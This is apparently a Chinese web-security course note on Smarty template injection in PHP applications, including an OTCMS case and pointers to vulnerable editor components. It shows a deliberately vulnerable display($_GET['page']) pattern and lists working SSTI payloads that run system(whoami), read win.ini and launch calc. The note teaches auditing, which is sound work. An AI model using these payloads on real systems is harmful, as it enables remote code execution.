PHP应用-组件框架&前端模版渲染&三方插件&富文本编辑器&CVE审计(2024小迪安全DAY30笔记)

文章目录

模板引擎

在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。

使用配置&方法

1、创建一个文件夹,命名为smarty-demo。

2、下载Smarty对应版本并解压缩到该文件夹中。

3、创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:

php 复制代码
<?php
// 引入 Smarty 类文件
require('smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例
$smarty = new Smarty;
// 设置 Smarty 相关属性
$smarty->template_dir = 'smarty-demo/templates/';
$smarty->compile_dir = 'smarty-demo/templates_c/';
$smarty->cache_dir = 'smarty-demo/cache/';
$smarty->config_dir = 'smarty-demo/configs/';
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
?>

4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

html 复制代码
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

渲染文件受控

漏洞利用:

php 复制代码
// 显示模板
$smarty->display('index.tpl');
//受控的渲染页面文件
$smarty->display($_GET['page']);

黑盒思路:

判断网站的url有没有这种写法x.php?page= /url= index.tpl index.html

白盒思路:

1、使用smarty模版引擎

2、版本存在已知的CVE漏洞

3、可控的渲染文件或变量

CVE参考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

POC:

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

执行过程:

1、攻击者输入POC

POC 的目的就是把攻击者控制的字符串 构造成 Smarty 能当作"模板源(resource)"来编译 的形式(常用前缀是 string: / eval:),使引擎把该字符串写成 templates_c 下的 PHP 编译文件并在后续请求中执行它,从而把"用户输入"变成了"服务器端可执行代码"。

2、Smarty的渲染接口接收到string:.../eval:...等,会把参数当作模板源字符串 来处理,而不是简单的文件路径。

--- 关键:如果应用允许用户控制参数并且引擎会把其当作模板源读取,就把"用户输入"直接变成了可编译的模板内容。

3、编译成PHP文件

4、PHP 执行编译文件

案例一:代码审计CMS:(由第三方应用引用导致安全问题)

网钛(OTCMS):

这个平台更新到了最高版本,但也没有修复这个漏洞的原因是漏洞产生在后台,必须有后台权限才有可能触发这个漏洞。如果是这个模板加上可控变量而且不用任何权限就可以执行,那么就是高危

POC:

{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}

注意:POC格式一定要按照可识别的格式编写

执行结果:网站首页弹出计算器

插件组件(引用的第三方功能组件)

编辑器,邮箱,图片处理等(看DAY30笔记)

目的是知道网站的某些功能可能依赖第三方组件 ------ 如果识别出这些组件及其版本,就能去查对应版本是否存在已知漏洞(例如某个被引用的"编译器"组件本身有漏洞

使用:

https://www.cnblogs.com/qq350760546/p/6669112.html

参考:

https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

白盒思路:看手册,学习这个组件的使用方法

黑盒思路:看特征、看功能、识别语言是不是PHP

案例二:编译器漏洞

-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html

相关推荐
崔庆才丨静觅6 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60617 小时前
完成前端时间处理的另一块版图
前端·github·web components
Hello.Reader7 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
掘了7 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅7 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅7 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
智驱力人工智能8 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
崔庆才丨静觅8 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment8 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
数据与后端架构提升之路8 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全